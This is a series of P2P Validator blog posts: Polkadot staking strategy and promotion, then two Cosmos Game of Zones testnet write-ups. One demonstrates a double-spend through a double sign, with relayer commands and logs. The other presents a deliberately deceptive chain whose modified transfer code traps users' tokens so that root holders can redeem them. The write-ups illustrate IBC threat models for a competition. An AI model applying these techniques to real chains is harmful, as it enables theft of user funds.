compete for the active set. In the long term validators in the active set receive equal rewards meaning that the least staked node can potentially be more efficient.</p><p>For example, assuming 0% commission, a nominator with <code>10 000 DOT</code> will receive 50% if the total stake of a validator is <code>20 000 DOT</code> and only 25% if <code>40 000 DOT</code>. But, if a staking provider does not have enough votes it can remain outside of the active set.</p><p>To provide sustainable services <strong><strong>validators need to find an optimal relation between the number of nodes and their total nominated stake</strong></strong>. We run multiple nodes to provide an even distribution of stake for our nominators.</p><h1 id="dynamic-adjustment-strategy"><strong>Dynamic adjustment strategy</strong></h1><p>The lower threshold of nominated stake decreases as the number of available seats in the active set increases and we will adjust to it <strong><strong>retaining the number of our active nodes to be always one unit higher than the number that can win in elections</strong></strong>.</p><p>The reserved validator will enter the active set if it is expanded or more token holders vote for these nodes. Once this happens tokens will be distributed amongst the higher quantity resulting in a lower stake on each node. In this case nominators get a higher share in it. To explain the idea let's look at an example, which is simplified for better understanding.</p><h3 id="example"><strong>Example</strong></h3><p>Let's assume that <code>12 000 DOT</code> is required to win in elections and <code>30 000 DOT</code> is staked with three validators two of which are in the active set while the third one is in reserve. In this case, tokens will be evenly distributed among the two active ones resulting in <code>~15 000 DOT</code> staked with each of them.</p><p>If nominators vote for these three nodes with an additional <code>6 000 DOT</code> or the number of validators in the active set increases, the reserved validator will most likely win in the next elections. Stake of nominators will be redistributed resulting in <code>~10 000 DOT</code> per node and nominators will obtain a higher share. We will set a new reserve node that nominators can include in their nomination list in case of future changes.</p><hr><p>This temporary strategy will help us to remain flexible in the changing conditions of the network optimizing staking return for nominators who included all validators.</p><p>Currently, <strong><strong>we have ten nodes</strong></strong>, which you can<a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy"> add to your nomination list</a>.</p><h1 id="about-p2p-validator"><strong>About P2P Validator</strong></h1><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $40 million by over 1500 delegators/nominators across 15+ top-notch networks. We have been present in all Polkadot testnets and have been actively participating on Kusama network since the beginning. P2P Validator invested its own funds in Polkadot in 2017 and intends to support the network in the long term.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Alex via [email protected] We are always ready to help and open for communication.</em></em></p><hr><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=strategy">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Alex Bond

from p2p validator

Polkadot 3 reasons to stake DOT right now

<p>Transition to NPoS is expected to happen this week. Validator elections and rewards will be activated during this stage. <strong><strong>Is it reasonable to stake at the very beginning or better to wait for exchange listings and activation of token transfers?</strong></strong></p><p>There are more arguments for early staking, than against.</p><h1 id="time-is-rewards"><strong>Time is rewards</strong></h1><p>During NPoS, all nominators will earn staking rewards. <strong><strong>For those who haven't nominated yet, each day will result in a missed opportunity to receive additional interest</strong></strong> on their DOT holdings.</p><p>The period between NPoS and transfer activation is not defined. Some time will be taken to ensure that the network is stable enough before the next steps. After the enablement of decentralized governance, a technical committee and first councils should be elected. It will take at least 14 days. After that, someone will make a runtime upgrade proposal to remove sudo module, voting will take 28 days with an additional 30 days of enactment period before the upgrade.</p><p>If a proposal to enable transfers will be the next one it will also take 28 days to vote for and 30 more days of enactment period. To sum up, <strong><strong>more than 4 months and more than one third of annual DOT rewards can be lost just waiting for the right moment to stake</strong></strong>.</p><h1 id="lower-staked-dot"><strong>Lower staked DOT</strong></h1><p>In the early days of the network the number of staked DOT will start from a lower value and will increase gradually over time as new holders will join staking. Assuming a constant number of validators before network stabilization, the barrier for a node to enter the active set will be lower in the beginning.</p><p>The average annual percentage return for a nominator depends on his share in the validator's total stake. It means that <strong><strong>nominators who stake early obtain a bigger share in the validator pool receiving a higher portion of rewards</strong></strong>. With enabled compounding nominators will be able to retain or even increase their share.</p><p>If Joe has 15,000 DOT and the total stake of a validator is 30,000 DOT, Joe will receive one half of the rewards obtained by this validator node. If the total validator stake is 45,000 DOT Joe will receive only one third. In this example, commission rate is not taken into consideration for illustrative purposes.</p><p>After raising the number of validator slots in the set, the barrier will decrease as well as the average stake among active validators meaning that the nominator's staking returns might increase even more.</p><h1 id="you-shall-not-miss"><strong>You shall not miss</strong></h1><p>Polkadot investors have been waiting more than three years for a return on their initial investment. Some are worried that locking DOT in staking can interfere with a quick reaction when DOT become transferable and appear on exchanges.</p><p>Enablement of transfers will be approved by the community of DOT holders via governance. The proposal will be voted for 28 days and if it is accepted, there will be an enactment period of 30 days before the upgrade. <strong><strong>Tokens of participants who cast a Yay vote will be locked.</strong></strong></p><p>In Polkadot, it is possible to vote without locking DOT in the enactment period, in this case, the weight of a vote will be decreased by 90%. There will be enough time to initiate unbonding for those who wish to fix a portion of DOT holdings as soon as possible. It is much more attractive than refusing three months of additional interest.</p><p>In addition, we will notify nominators about the most important milestones and provide individual assistance in our<a href="https://t.me/P2Pstaking"> Telegram chat</a>.</p><h1 id="staking-in-polkadot-is-simple"><strong>Staking in Polkadot is simple</strong></h1><p>If you lack educational information and can't find guides explaining the required steps, read the detailed guides we have prepared to simplify the process:</p><ol><li><a href="https://economy.p2p.org/create-account-in-polkadot-network/">Create a Polkadot account</a></li><li><a href="https://economy.p2p.org/claim-dot-with-polkadotjs">Claim DOT tokens</a></li><li><a href="https://economy.p2p.org/polkadot-nomination-guide/">Nominate validators</a></li></ol><h1 id="about-p2p-validator"><strong>About P2P Validator</strong></h1><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=reasons_to_stake">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 40 million of USD value. At the time of publishing, P2P Validator is trusted by over 1000 delegators across 15+ networks.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram chat</a> or contact Alexey via [email protected] We are always ready to help and open for communication.</em></em></p><hr><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=reasons_to_stake"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=reasons_to_stake">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Alex Bond

from p2p validator

Cosmos Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign

<h1 id="cosmos-game-of-zones-phase-3-double-spend-via-a-double-sign"><strong>Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign</strong></h1><p>We'll show how malicious validators (or validator keys thieves) can double-spend via IBC transfers using vanilla Tendermint, cosmos-sdk and relayer software.</p><p>For an experiment we have two chains: <code>p2p-org-3</code> and <code>responsible-3</code>. On p2p-org-3 there are 1000, no more and no less, of very valuable tokens with <code>scarce</code> denom. Using our trick we can make <code>responsible-3</code> accept a total sum of <code>2000scarce</code> via a channel.</p><h2 id="double-spend-via-a-double-sign-step-by-step"><strong>Double spend via a double sign step by step</strong></h2><p>To double spend we:</p><ol><li>Open a channel from p2p-org-3 to responsible-3</li><li>Stop a single validator of p2p-org-3, replicated it in two copies (let's call them <code>p2p-org-3.1</code> and <code>p2p-org-3.2</code>, though they still have an original chain-id of <code>p2p-org-3</code>) and start again in two different exemplars.</li></ol><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,996000rsp,10transfer/hvigvvmjhcqwerty/ptp </code></pre><p>3.   Send 1000 scarce from <code>p2p-org-3.1</code>to <code>responsible-3</code>.</p><pre><code>p2p-org-3.1$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:36:45.775] ✔ [p2p-org-3]@{68672} - msg(0:transfer) hash(13628DFA68099121C323DB7C2369489E1AFB71C2737B3D92B1BACAF5A9CFBB01) I[2020-06-04|23:36:56.725] ✔ [responsible-3]@{68908} - msg(0:update_client,1:ics04/opaque) hash(50F3730A339AE60A1FDB4FADF484EA8FDC870E9E46C8362BEE328D7D324FDDE8) p2p-org-3.1$ rly q bal p2p-org-3 99999999500ptp p2p-org-3.1$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>4.  Switch to <code>p2p-org-3.2</code>'s terminal - there we still have <code>1000scarce</code></p><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>5.  Send a bogus transfer (<code>100ptp</code>) from <code>p2p-org-3.2</code> to <code>responsible-3</code> - it fails     on <code>responsible-3</code> but we bump <code>p2p-org-3.2</code>'s packet count by one to be able to send further transfers succesfully.</p><pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 100ptp true $(rly ch addr responsible-3) I[2020-06-04|23:39:07.369] ✔ [p2p-org-3]@{68700} - msg(0:transfer) hash(EB8CAE3CDE96FF9073B54B5E6F70C43B83DA13A30E06D833AA107CEB94EE6279) I[2020-06-04|23:39:14.274] ✘ [responsible-3]@{0} - msg(0:update_client,1:ics04/opaque) err(client:15:couldn't verify counterparty packet commitment: key mismatch on operation #0: expected commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/3 but got commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/2: packet commitment verification failed) </code></pre><p>6. Succesfully send 1000 scarce from <code>p2p-org-3.2</code>to <code>responsible-3</code>.</p><pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:40:02.589] ✔ [p2p-org-3]@{68711} - msg(0:transfer) hash(83DFA4FB75D22220ECD94F134D8A8AE5BC0D0075D2DA6021B8DA6C4688E28787) I[2020-06-04|23:40:12.237] ✔ [responsible-3]@{68947} - msg(0:update_client,1:ics04/opaque) hash(DD11048F41B6D0955EAC84D311DEF5DAD9A3F446398A59293C82A62D84F6B506) p2p-org-3.2$ rly q bal p2p-org-3 99999998900ptp [email protected]:/home/deploy$ rly q bal responsible-3 100000000000root,995000rsp,10transfer/hvigvvmjhcqwerty/ptp,2000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>We think that if there's ever a real attack with stolen keys or malicious validators involved, it'll be carried out with a combination of running a fork + using modified software that can issue arbitrary IBC packets (like our own RootChain).</p><hr><p><em><em>The best way to support our contribution is to <a href="https://p2p.org/cosmos?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">stake ATOM with P2P Validador</a>.</em></em></p><hr><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $40 million by over 1000 delegators/nominators across 15+ top-notch networks. We've been validating in Cosmos Hub since the first day of mainnet. P2P Validator provides comprehensive due-diligence and invested its own funds in ATOM in 2017 intending to support Cosmos network in the long term.</p><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post"> https://p2p.org</a></p><p><strong><strong>Stake ATOM with us:</strong></strong> <a href="https://p2p.org/cosmos?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">p2p.org/cosmos</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Vasiliy Shapovalov

from p2p validator

Cosmos Cosmos' Game of Zones Phase 3: a Deceptive Rootchain that will trap your tokens

<h1 id="cosmos-game-of-zones-phase-3-a-deceptive-rootchain-that-will-trap-your-tokens"><strong>Cosmos' Game of Zones Phase 3: a Deceptive Rootchain that will trap your tokens</strong></h1><p><em><em>For Phase 3 we prepared a specific deceptive zone whose purpose is to trap your transfers and let the zone ‘root’ users to claim them on the counterparty chains.</em></em></p><h2 id="evil-rootchain"><strong>Evil Rootchain</strong></h2><p>For Phase 3 we prepared a specific deceptive zone whose purpose is to trap your transfers and let the zone ‘root’ users to claim them on the counterparty chains.</p><p>That zone does not expose a vulnerability in IBC, neither it is something unexpected by people who made ICS: it’s merely an illustration of IBC threat model and how it can be used to steal user funds.</p><p>We modified <code>createOutgoingPacket()</code> function to work like that:</p><ul><li>user who has at least some root denom tokens (i.e. 1000root on balance) can create any outgoing transfers they want, even if they don’t have the required funds;</li><li>user who has no root tokens cannot transfer any tokens back to a source chain.</li></ul><p>Here’s the <a href="https://gist.github.com/vshvsh/88964912dbd389332c53bc239fb59168">gist</a> of how it’s done, and the <a href="https://github.com/p2p-org/gaia-rootchain">full project</a>.</p><p>So if someone was to transfer, say, doubloons to our deceptive chain, they couldn’t take it back - but any root user can redeem fake tokens for real tokens on an origin chain.</p><p>That means that a regular user who sends funds to a deceptive chain can’t cash them out on an origin chain - they’ve basically lost they funds. But it’s not apparent, because internal transfers on the zone work fine, and until a user tries to redeem the transferred token they won’t see any problems.</p><p>Moreover, malicious root token holder can redeem those tokens instead of an original sender or transferred token holders, and that wouldn’t be apparent too without aggregate analysis of all transfers across all channels.</p><p>We deployed it on responsible-3 zone (heads up: responsible was an approved sockpuppet account of p2p all along; it didn’t compete in earlier phases where scarcity and/or account throughput were an issue).</p><h2 id="demonstration"><strong>Demonstration</strong></h2><p>An unsuspecting user makes a transfer of 100 very valuable ptp tokens to responsible-3:</p><pre><code>&gt;rly tx transfer p2p-org-3 responsible-3 100ptp true cosmos16zx4s8nculu94vhm07fd3qlg8g7grtj0xk49dg I[2020-06-03|18:21:59.489] ✔ [p2p-org-3]@{50776} - msg(0:transfer) hash(962733C0568867D6F4EA70417EB1E747FCC136396E3E020D5351DAD011ACBE6D) I[2020-06-03|18:22:09.218] ✔ [responsible-3]@{50793} - msg(0:update_client,1:ics04/opaque) hash(87D2802713DB702334AB843CAD488841E5A3E1A7C95DCB0DA0344E5039A77674) </code></pre><p>They now have transferred tokens in the wallet, but can they transfer them back?</p><pre><code>&gt;rly q bal responsible-3 100transfer/fmqnwnlqii/ptp </code></pre><pre><code>&gt;rly tx transfer responsible-3 p2p-org-3 100ptp false cosmos16zx4s8nculu94vhm07fd3qlg8g7grtj0xk49dg I[2020-06-03|18:56:09.666] ✘ [responsible-3]@{51200} - msg(0:transfer) err(sdk:4:failed to execute message; message index: 0: need to be root user to send ibc source=false transfers: unauthorized) Error: failed to send first transaction </code></pre><p>No, they can’t. Here comes a root user:</p><pre><code>&gt;rly q bal responsible-3 100000000000root,975000rsp </code></pre><p>They don’t have any <code>100transfer/fmqnwnlqii/ptp</code> tokens, but they can redeem 100ptp on p2p-org-3 anyway:</p><pre><code>&gt;rly tx transfer responsible-3 p2p-org-3 100ptp false cosmos1hazzkmrvxcrxvxv98daslkw0a7uax5djqgn20d I[2020-06-03|18:58:41.425] ✔ [responsible-3]@{51230} - msg(0:transfer) hash(24456218B05964F3B7B57EFD1F25E2CEEDA9BAAEBC957D0A6E315D801929E093) I[2020-06-03|18:58:49.540] ✔ [p2p-org-3]@{51217} - msg(0:update_client,1:ics04/opaque) hash(769158A9735DF93496F08F631E5D1AB04CCF081DFC132700E25C970D33DF74DB) </code></pre><pre><code>&gt;rly q bal p2p-org-3 100ptp </code></pre><h2 id="conclusion"><strong>Conclusion</strong></h2><p>The prolonged existence of actively malicious “rootchains” is not realistic - people wouldn’t use it for anything - but we expect people might deploy temporary ones for fishing or scamming purpose when IBC connections are permissionless and IBC-enabled wallets allow arbitrary chains to be added.</p><p>More than that, any sufficiently complicated IBC-enabled blockchain can become a “rootchain” due to vulnerability, especially if we’re talking about complex smart contract chains and dynamic IBC like on Agoric or CosmWASM chains. Both trapping the funds on receiving chain forever or dishonest redeeming on source chain can be a result of an exploit on undertested code.</p><p>We think that the community should build tools for total supply observability across chains and means to swiftly stop IBC transfers with malicious or vulnerable zones or applications via governance to prevent user fund loss.</p><hr><p><em><em>The best way to support our contribution is to <a href="https://p2p.org/cosmos?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">stake ATOM with P2P Validador</a>.</em></em></p><hr><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $40 million by over 1000 delegators/nominators across 15+ top-notch networks. We've been validating in Cosmos Hub since the first day of mainnet. P2P Validator provides comprehensive due-diligence and invested its own funds in ATOM in 2017 intending to support Cosmos network in the long term.</p><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post"> https://p2p.org</a></p><p><strong><strong>Stake ATOM with us:</strong></strong> <a href="https://p2p.org/cosmos?utm_source=blog&amp;utm_medium=economy&amp;utm_campaign=phase3_post">p2p.org/cosmos</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Vasiliy Shapovalov

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